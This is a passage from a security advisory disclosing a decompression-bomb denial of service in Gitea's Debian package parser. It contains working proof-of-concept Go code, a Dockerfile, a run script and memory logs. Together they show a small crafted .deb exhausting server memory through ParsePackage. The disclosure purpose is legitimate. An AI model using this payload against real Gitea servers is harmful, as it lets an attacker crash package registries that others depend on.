Advisory

GHSA-6hm7-3pwj-22rm

Details, part 2 of 2. The advisory

Details

if err != nil {
fmt.Fprintf(os.Stderr, "CreateTemp: %v\n", err)
os.Exit(1)
}
defer os.Remove(tmp.Name())
defer tmp.Close()

t0 := time.Now()
if err := buildDeb(tmp); err != nil {
fmt.Fprintf(os.Stderr, "buildDeb: %v\n", err)
os.Exit(1)
}
sz, _ := tmp.Seek(0, io.SeekCurrent)
fmt.Printf("\nPayload .deb on disk: %.2f MB (took %.1fs)\n\n", float64(sz)/1e6, time.Since(t0).Seconds())

// Phase 2 — call ParsePackage, mirroring UploadPackageFile at
// routers/api/packages/debian/debian.go:146.
// The TeeReader inside ParseControlFile (metadata.go:149) will copy the
// entire 15 GB decompressed stream into control.Builder, exhausting the
// 12 GB container limit and triggering an OOM kill.
fmt.Println("[phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)...")
fmt.Println(" Memory will grow until the container is OOM-killed.")
printMem()

if _, err := tmp.Seek(0, io.SeekStart); err != nil {
fmt.Fprintf(os.Stderr, "seek: %v\n", err)
os.Exit(1)
}

t1 := time.Now()
_, parseErr := debian_module.ParsePackage(tmp)
// We only reach here if ParsePackage returns before OOM (e.g. scanner error).
fmt.Printf("\nParsePackage returned after %.1fs: %v\n", time.Since(t1).Seconds(), parseErr)
printMem()
}


`Dockerfile.poc`
```docker
FROM golang:1.26-bookworm AS builder

WORKDIR /src
# Copy the full repo so the PoC can import gitea.dev/modules/packages/debian
# and github.com/blakesmith/ar via the existing go.mod/go.sum.
COPY . .

# Build only the PoC binary; ignore the rest of the tree.
RUN go build -o /poc ./cmd/poc/

# ── runtime image ──────────────────────────────────────────────────────────────
FROM debian:bookworm-slim
COPY --from=builder /poc /poc
ENTRYPOINT ["/poc"]

Now run the PoC in the Docker container with:

#!/usr/bin/env bash
set -euo pipefail

IMAGE=gitea-debian-poc

echo "=== Building Docker image ==="
docker build -f Dockerfile.poc -t "$IMAGE" .

echo ""
echo "=== Running PoC (memory limit: 12 GB) ==="
echo "    The container will be OOM-killed once memory is exhausted."
echo ""

# --memory caps RSS; --memory-swap equal to --memory disables swap.
# --oom-kill-disable is NOT set so the kernel OOM killer fires normally.
docker run --rm \
  --memory=12g \
  --memory-swap=12g \
  --name gitea-poc \
  "$IMAGE"

EXIT=$?
echo ""
if [ $EXIT -eq 137 ]; then
  echo "Container exited with code 137 (SIGKILL from OOM killer) — vulnerability confirmed."
else
  echo "Container exited with code $EXIT."
fi

You will see the following when running the container (see the heap allocation growing towards the end):

=== Building Docker image ===
DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
            Install the buildx component to build images with BuildKit:
            https://docs.docker.com/go/buildx/

Sending build context to Docker daemon  59.32MB
Step 1/7 : FROM golang:1.26-bookworm AS builder
 ---> eafdda676c2e
Step 2/7 : WORKDIR /src
 ---> Using cache
 ---> db52a8f73485
Step 3/7 : COPY . .
 ---> Using cache
 ---> 4caf57c6e889
Step 4/7 : RUN go build -o /poc ./cmd/poc/
 ---> Using cache
 ---> 286afcb05d0e
Step 5/7 : FROM debian:bookworm-slim
 ---> f54f5c8e2e12
Step 6/7 : COPY --from=builder /poc /poc
 ---> Using cache
 ---> d7d0b269df49
Step 7/7 : ENTRYPOINT ["/poc"]
 ---> Using cache
 ---> b233faaad561
Successfully built b233faaad561
Successfully tagged gitea-debian-poc:latest

=== Running PoC (memory limit: 12 GB) ===
    The container will be OOM-killed once memory is exhausted.

=== Gitea Debian Parser — Decompression Bomb PoC ===
Target uncompressed control file size: 16.1 GB
Container memory limit: 12 GB

[phase 1] Generating control.tar.gz (compressed payload)...
  Streaming 3221225450 lines (16.1 GB) through gzip...
[mem] HeapAlloc=0.04 GB  Sys=0.08 GB  TotalAlloc=0.05 GB
  ... 16% (2.1s)
  ... 31% (3.9s)
[mem] HeapAlloc=0.07 GB  Sys=0.11 GB  TotalAlloc=0.08 GB
  ... 47% (5.8s)
[mem] HeapAlloc=0.11 GB  Sys=0.18 GB  TotalAlloc=0.15 GB
  ... 62% (7.4s)
[mem] HeapAlloc=0.11 GB  Sys=0.18 GB  TotalAlloc=0.15 GB
  ... 78% (9.0s)
[mem] HeapAlloc=0.21 GB  Sys=0.31 GB  TotalAlloc=0.29 GB
  ... 93% (10.8s)
  Done in 11.5s
  control.tar.gz compressed size: 83.07 MB

Payload .deb on disk: 83.07 MB  (took 11.6s)

[phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)...
          Memory will grow until the container is OOM-killed.
[mem] HeapAlloc=0.21 GB  Sys=0.31 GB  TotalAlloc=0.29 GB
[mem] HeapAlloc=0.41 GB  Sys=0.44 GB  TotalAlloc=0.48 GB
[mem] HeapAlloc=0.25 GB  Sys=0.61 GB  TotalAlloc=1.63 GB
[mem] HeapAlloc=0.63 GB  Sys=0.97 GB  TotalAlloc=2.63 GB
[mem] HeapAlloc=0.83 GB  Sys=1.52 GB  TotalAlloc=3.80 GB
[mem] HeapAlloc=1.39 GB  Sys=2.00 GB  TotalAlloc=5.34 GB
[mem] HeapAlloc=1.37 GB  Sys=2.00 GB  TotalAlloc=5.86 GB
[mem] HeapAlloc=1.42 GB  Sys=2.60 GB  TotalAlloc=6.97 GB
[mem] HeapAlloc=1.40 GB  Sys=3.35 GB  TotalAlloc=8.26 GB
[mem] HeapAlloc=2.25 GB  Sys=3.36 GB  TotalAlloc=9.11 GB
[mem] HeapAlloc=1.97 GB  Sys=4.28 GB  TotalAlloc=10.48 GB
[mem] HeapAlloc=2.73 GB  Sys=4.29 GB  TotalAlloc=11.23 GB
[mem] HeapAlloc=2.77 GB  Sys=5.45 GB  TotalAlloc=12.67 GB
[mem] HeapAlloc=2.90 GB  Sys=5.45 GB  TotalAlloc=13.46 GB
[mem] HeapAlloc=3.57 GB  Sys=5.46 GB  TotalAlloc=14.13 GB
[mem] HeapAlloc=2.94 GB  Sys=5.46 GB  TotalAlloc=16.07 GB
[mem] HeapAlloc=3.72 GB  Sys=5.47 GB  TotalAlloc=16.85 GB
[mem] HeapAlloc=4.50 GB  Sys=5.48 GB  TotalAlloc=17.64 GB
[mem] HeapAlloc=5.30 GB  Sys=7.28 GB  TotalAlloc=19.58 GB
[mem] HeapAlloc=3.82 GB  Sys=7.28 GB  TotalAlloc=20.17 GB
[mem] HeapAlloc=4.66 GB  Sys=7.29 GB  TotalAlloc=21.01 GB
[mem] HeapAlloc=5.33 GB  Sys=7.29 GB  TotalAlloc=21.67 GB
[mem] HeapAlloc=6.62 GB  Sys=9.56 GB  TotalAlloc=24.40 GB
[mem] HeapAlloc=6.62 GB  Sys=9.56 GB  TotalAlloc=24.40 GB
[mem] HeapAlloc=4.72 GB  Sys=9.56 GB  TotalAlloc=25.09 GB
[mem] HeapAlloc=5.54 GB  Sys=9.56 GB  TotalAlloc=25.90 GB
[mem] HeapAlloc=6.28 GB  Sys=9.57 GB  TotalAlloc=26.64 GB
[mem] HeapAlloc=7.15 GB  Sys=9.59 GB  TotalAlloc=27.51 GB
[mem] HeapAlloc=8.27 GB  Sys=12.40 GB  TotalAlloc=30.43 GB
[mem] HeapAlloc=5.52 GB  Sys=12.40 GB  TotalAlloc=30.90 GB
[mem] HeapAlloc=6.35 GB  Sys=12.40 GB  TotalAlloc=31.74 GB
[mem] HeapAlloc=7.18 GB  Sys=12.40 GB  TotalAlloc=32.57 GB
[mem] HeapAlloc=8.01 GB  Sys=12.41 GB  TotalAlloc=33.39 GB
[mem] HeapAlloc=8.80 GB  Sys=12.43 GB  TotalAlloc=34.19 GB

Sources & licences